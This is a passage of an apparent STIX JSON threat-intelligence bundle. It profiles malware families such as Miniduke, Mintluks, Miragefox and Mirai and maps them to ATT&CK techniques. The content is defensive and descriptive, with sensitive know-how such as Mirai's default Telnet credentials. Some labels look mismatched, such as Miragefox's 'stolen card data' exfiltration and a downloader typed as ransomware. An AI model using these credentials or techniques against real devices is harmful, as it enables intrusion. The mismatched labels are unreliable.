      "id": "relationship--638420e3-801e-51ca-bb2f-33a5e87cf6a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2328e648-2233-5517-865e-794f1af8836c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minggy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9a4eb60-9dac-590b-ac04-31e92462e387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2328e648-2233-5517-865e-794f1af8836c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minggy exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab175089-4937-5116-a56a-b6dff3373352",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Miniduke",
      "description": "MiniDuke (classified across threat intelligence repositories under designations including Backdoor:Win32/MiniDuke, Trojan:Win32/MiniDuke, and Win32/MiniDuke) is a highly sophisticated cyber espionage backdoor framework attributed to the Russian nation-state threat group APT29 (also known as Cozy Bear or Nobelium). First identified in early 2013 targeting government institutions, military agencies, and foreign ministries across Europe and North America, MiniDuke was deployed via spearphishing emails containing weaponized PDF documents exploiting Adobe Acrobat vulnerabilities (such as CVE-2013-0604). The initial stager consists of a remarkably tiny, heavily obfuscated assembly loader that verifies host architecture, decodes hidden C2 server handles from public Twitter/X accounts or Google Search results, and downloads a secondary modular backdoor. MiniDuke executes encrypted remote shell commands, harvests confidential intelligence, and maintains deeply stealthy persistence. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/MiniDuke",
        "Trojan:Win32/MiniDuke",
        "Win32/MiniDuke",
        "APT29 MiniDuke",
        "CozyBear MiniDuke"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Miniduke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/miniduke"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fd22f33-ec2a-536a-a059-c1483259d014",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab175089-4937-5116-a56a-b6dff3373352",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miniduke exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1513868f-c202-5559-b100-779dbf0e5bf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab175089-4937-5116-a56a-b6dff3373352",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miniduke exhibits technique T1203 (Exploitation for Client Execution)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3eae32a4-7977-5aaa-b44b-8258cc4014ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1102: Web Service: Dead Drop Resolver",
      "description": "MITRE ATT&CK Technique T1102 (Web Service: Dead Drop Resolver) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1102",
          "url": "https://attack.mitre.org/techniques/T1102/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd3eb2a3-6772-5947-993a-e50cbb039785",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab175089-4937-5116-a56a-b6dff3373352",
      "target_ref": "attack-pattern--3eae32a4-7977-5aaa-b44b-8258cc4014ae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miniduke exhibits technique T1102 (Web Service: Dead Drop Resolver)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d6d05d5-8edd-5e9f-94d0-e524df705c4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab175089-4937-5116-a56a-b6dff3373352",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miniduke exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--787e9193-5930-57f0-a0ef-6c8d5f36574d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab175089-4937-5116-a56a-b6dff3373352",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miniduke exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87addff1-7154-535b-a00d-f6d3597cee09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Minimal",
      "description": "TrojanDownloader:Win32/Minimal is a specialized, highly compact trojan designed to breach endpoint defenses and securely deliver secondary payloads. True to its name, Minimal is characterized by its extremely small file size and lack of complex features. It acts purely as a 'stager'. Its only objective is to silently connect to a Command-and-Control (C2) server and pull down the final, destructive payload (such as ransomware or a RAT) (`T1105`).<br><br><b>Understanding Minimal (Lightweight Downloaders)</b><br>To an end-user, a Minimal infection is entirely invisible. For an incident response team, the danger lies in what it brings with it. Because Minimal contains very little code, it generates few static signatures, making it difficult for traditional AV to detect. It is often written in assembly or pure C to maintain its tiny footprint.<br><br><b>Execution and Evasion Strategies</b><br>Minimal is commonly distributed via malspam campaigns or exploit kits. Upon execution, it does not establish persistence or inject into other processes (to avoid triggering behavioral heuristics). It simply utilizes basic Windows APIs (`URLDownloadToFile` or raw sockets) to make an HTTP/HTTPS GET request to a hardcoded domain to fetch the payload, executes the payload, and then often terminates itself.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs are fleeting and difficult to spot without EDR. Look for the rapid execution of a very small (often under 20KB) executable from `%Temp%` or `%Downloads%`, immediately followed by the creation and execution of a larger secondary binary in the same directory. Network IoCs involve identifying the specific C2 domains or IP addresses the downloader contacted to fetch its payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Minimal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/minimal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef0d43f3-ed2a-56c7-a815-39383fca0ca2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87addff1-7154-535b-a00d-f6d3597cee09",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minimal exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18e654ce-bc8c-5fd9-a69a-6f7167fcf415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87addff1-7154-535b-a00d-f6d3597cee09",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minimal exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34079788-da59-5e94-8201-a5fac5bef407",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87addff1-7154-535b-a00d-f6d3597cee09",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Minimal exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the small stager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf2c1233-f773-5e7b-ab24-27129990448f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mintluks",
      "description": "Mintluks (tracked across security telemetry as PWS:MSIL/Mintluks, TrojanDownloader:Win32/Mintluks, and MSIL/Mintluks) is a specialized .NET-based information stealer and malware downloader discovered in circulation around 2014. Built using Microsoft Intermediate Language (.NET framework), Mintluks is engineered to harvest authentication credentials, session cookies, and sensitive system telemetry from infected Windows machines. The malware systematically inspects local profiles of major web browsers (including Google Chrome, Mozilla Firefox, Opera, and Microsoft Edge), file transfer clients (FileZilla, WinSCP), and email applications to extract plaintext and encrypted account passwords. Mintluks also features integrated downloader capabilities, allowing operators to deploy secondary trojans, keyloggers, or cryptocurrency mining payloads. To evade static analysis, Mintluks employ code obfuscation (such as ConfuserEx or custom string encryption) and establishes persistence using Windows registry autostart run keys and scheduled background tasks. (Observed samples in benchmark: 330)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:MSIL/Mintluks",
        "TrojanDownloader:Win32/Mintluks",
        "PWS:MSIL/Mintluks.A",
        "PWS:MSIL/Mintluks.B",
        "MSIL/Mintluks"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mintluks",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mintluks"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f85baa2-8474-5d10-8b44-63555d20885a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2c1233-f773-5e7b-ab24-27129990448f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mintluks exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24db2e7c-90cf-5ab8-b735-9a3593859078",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2c1233-f773-5e7b-ab24-27129990448f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mintluks exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79cc4f15-766f-5c5b-a54b-ac1f12704bcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2c1233-f773-5e7b-ab24-27129990448f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mintluks exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3530d422-4635-5db4-88e7-7d69e1417faa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2c1233-f773-5e7b-ab24-27129990448f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mintluks exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fad626e-5201-5dff-9dcf-65f1adbbf9e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2c1233-f773-5e7b-ab24-27129990448f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mintluks exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mira",
      "description": "Trojan:Win32/Mira (also tracked across vendor signatures as Worm:Win32/Mira, distinct from the Linux IoT botnet Mirai) is a prolific Windows mass-mailing worm and backdoor downloader discovered in the late 2000s. Engineered to spread autonomously across corporate networks, Mira harvests email addresses from local address books, browser caches, and document folders, using its built-in SMTP engine to transmit spoofed emails carrying infected executable attachments. In addition to mass mailing, Mira scans for open network shares and connected removable USB storage devices to copy itself under deceptive filenames. Once active, Mira registers Windows Run keys to ensure persistence, collects host reconnaissance telemetry, and connects to remote C2 infrastructure to download second-stage malware payloads. (Observed samples in benchmark: 729)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Mira",
        "Trojan:Win32/Mira",
        "Worm:Win32/Mira",
        "W32/Mira",
        "Win32/Mira",
        "Trojan.Mira",
        "Worm.Mira"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mira",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mira"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5dd617c7-91fb-5f14-951b-5b66ab533a81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cab9e45d-1eea-5306-a141-27ab41beae43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1071.003 (Mail Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17e467f7-012e-5f8c-9e17-dc3e50912d86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d9d26e1-293c-5a2f-bdca-9aea5f9de963",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--852459f5-8051-53ec-8811-2340c39f6b5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--554eb1e7-050b-5423-adbf-f897091c91b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21aea780-0476-525b-ab3c-bd31b159c4fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac7aab7a-3646-59fa-b096-b1f984b70999",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mira exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--93ceedef-fefe-520b-b597-72912dd50cd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Miragefox",
      "description": "<h3>Executive Summary</h3>\nMirageFox is a highly specialized, sophisticated Remote Access Trojan (RAT) and backdoor utilized exclusively by the Chinese state-sponsored cyber-espionage group known as APT15 (also tracked as Vixen Panda or Ke3chang). It is a heavily upgraded, stealthier evolution of the group's older \"Mirage\" malware, designed specifically to infiltrate high-value government, diplomatic, and defense contractor networks while evading modern endpoint detection systems.\n\n<h3>Technical Architecture and Capabilities</h3>\nMirageFox is engineered for prolonged, undetected presence within a compromised environment. It is typically deployed post-exploitation, after the attackers have already gained initial access via spear-phishing and established a foothold.\n\nKey technical features of the MirageFox framework include:\n<ul>\n<li><strong>DLL Hijacking and Sideloading:</strong> To execute stealthily, MirageFox frequently utilizes DLL sideloading. The attackers drop a legitimate, digitally signed executable (often associated with legitimate security software or common enterprise applications) alongside a malicious DLL containing the MirageFox payload. When the legitimate executable runs, it unwittingly loads the malicious code.</li>\n<li><strong>Covert C2 Communication:</strong> MirageFox employs highly customized, encrypted command-and-control (C2) communication protocols. It often communicates over HTTPS (Port 443) to blend in with normal web traffic, or utilizes DNS tunneling to bypass strict firewall outbound rules.</li>\n<li><strong>Espionage Capabilities:</strong> Once active, it provides the APT operators with a full suite of espionage tools, including remote shell access, file system manipulation, credential harvesting (specifically targeting domain administrator accounts), and the ability to exfiltrate highly sensitive documents.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe presence of MirageFox on a network is a definitive indicator of a targeted, state-sponsored espionage campaign. The primary objective is the theft of classified intelligence, geopolitical communications, and advanced defense blueprints, representing a critical breach of national security.\n\n<h3>Detection and Eradication</h3>\n<ul>\n<li><strong>EDR and Behavioral Analytics:</strong> Standard static antivirus signatures are useless against custom APT tools. Deploy EDR solutions tuned to detect DLL sideloading techniques (e.g., unsigned DLLs loading into signed processes) and anomalous parent-child process relationships.</li>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls and DNS servers for persistent, anomalous outbound connections (beaconing) to unknown IP addresses or unusually large, repetitive DNS queries indicative of tunneling.</li>\n<li><strong>Complete Environment Rebuild:</strong> Because MirageFox is utilized by advanced operators who deeply embed themselves within the network infrastructure, eradication often requires a complete, coordinated rebuild of the compromised network segment from a known good baseline to ensure all persistence mechanisms are destroyed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.MirageFox",
        "Backdoor.MirageFox",
        "APT15 Tool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Miragefox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/miragefox"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e586f4de-9ac4-5ee0-8d25-e695568c7f10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ceedef-fefe-520b-b597-72912dd50cd7",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miragefox exhibits technique T1574.002 (DLL Side-Loading)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fc3da9a3-2468-5159-ba4e-35accdddbdb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1071.004: Application Layer Protocol: DNS (Exfiltrating stolen card data via DNS tunneling)",
      "description": "MITRE ATT&CK Technique T1071.004 (Application Layer Protocol: DNS (Exfiltrating stolen card data via DNS tunneling)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1071.004",
          "url": "https://attack.mitre.org/techniques/T1071/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c2edd7d-2c40-5d8e-8005-8c5aa819230b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ceedef-fefe-520b-b597-72912dd50cd7",
      "target_ref": "attack-pattern--fc3da9a3-2468-5159-ba4e-35accdddbdb0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miragefox exhibits technique T1071.004 (Application Layer Protocol: DNS (Exfiltrating stolen card data via DNS tunneling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6fdd316-eca0-5c5d-a1fc-2a36c3aca0e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ceedef-fefe-520b-b597-72912dd50cd7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miragefox exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb6c206b-8ed0-5340-92e7-66c3ebed1104",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ceedef-fefe-520b-b597-72912dd50cd7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Miragefox exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mirai",
      "description": "Mirai (Japanese for 'the future') is a revolutionary Linux-based malware family and botnet that transformed internet of things (IoT) security upon its emergence in August 2016. Authored by college students Paras Jha, Josiah White, and Dalton Norman to sabotage rival Minecraft gaming servers, Mirai targeted consumer embedded smart devices\u2014including CCTV cameras, IP video recorders (DVRs), home routers, and network-attached storage units\u2014running ARC, ARM, MIPS, and x86 architectures.\n\nMirai continuously scanned IP ranges across the global IPv4 internet on TCP ports 23 and 2323, executing automated dictionary attacks against a hardcoded table of 60+ factory-default Telnet credentials (e.g., 'admin/admin', 'root/xc3511'). Once in control, the malware terminated competing malware processes, bound port 48101 to lock out rival attackers, and joined a centralized command-and-control mesh. In late 2016, Mirai orchestrated record-breaking distributed denial-of-service (DDoS) assaults exceeding 1 Terabit per second against cybersecurity journalist Brian Krebs (KrebsOnSecurity), European hosting giant OVH, and managed DNS provider Dyn\u2014crippling access to major internet platforms including Twitter, GitHub, Spotify, and Netflix across North America and Europe.\n\nIn October 2016, the authors published Mirai's complete C source code on HackForums under the pseudonym 'Anna-senpai' to obscure their operational footprint. In December 2017, Jha, White, and Norman pleaded guilty in US Federal District Court to multiple violations of the Computer Fraud and Abuse Act (CFAA), cooperating with the FBI to mitigate subsequent botnets. The leaked codebase spurred dozens of mutant successor botnets, including Satori, Okiru, Mozi, and Reaper. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Mirai",
        "Linux.Mirai",
        "Botnet.Mirai",
        "Worm.Mirai"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mirai",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mirai"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--553c2c28-2272-57ed-adad-4c181c851e60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirai exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74da4682-f364-5750-ac32-c46c85671caf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mirai exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--9bf236e3-6e29-5cd4-bde3-5bd026eac9b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1499.004: Endpoint DoS Exploitation",
      "description": "MITRE ATT&CK Technique T1499.004 (Endpoint DoS Exploitation) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1499.004",
          "url": "https://attack.mitre.org/techniques/T1499/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9cdfc58-928a-503a-acce-b744f6869393",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0619f14d-3cf3-5192-8537-79cbd8a53d5c",
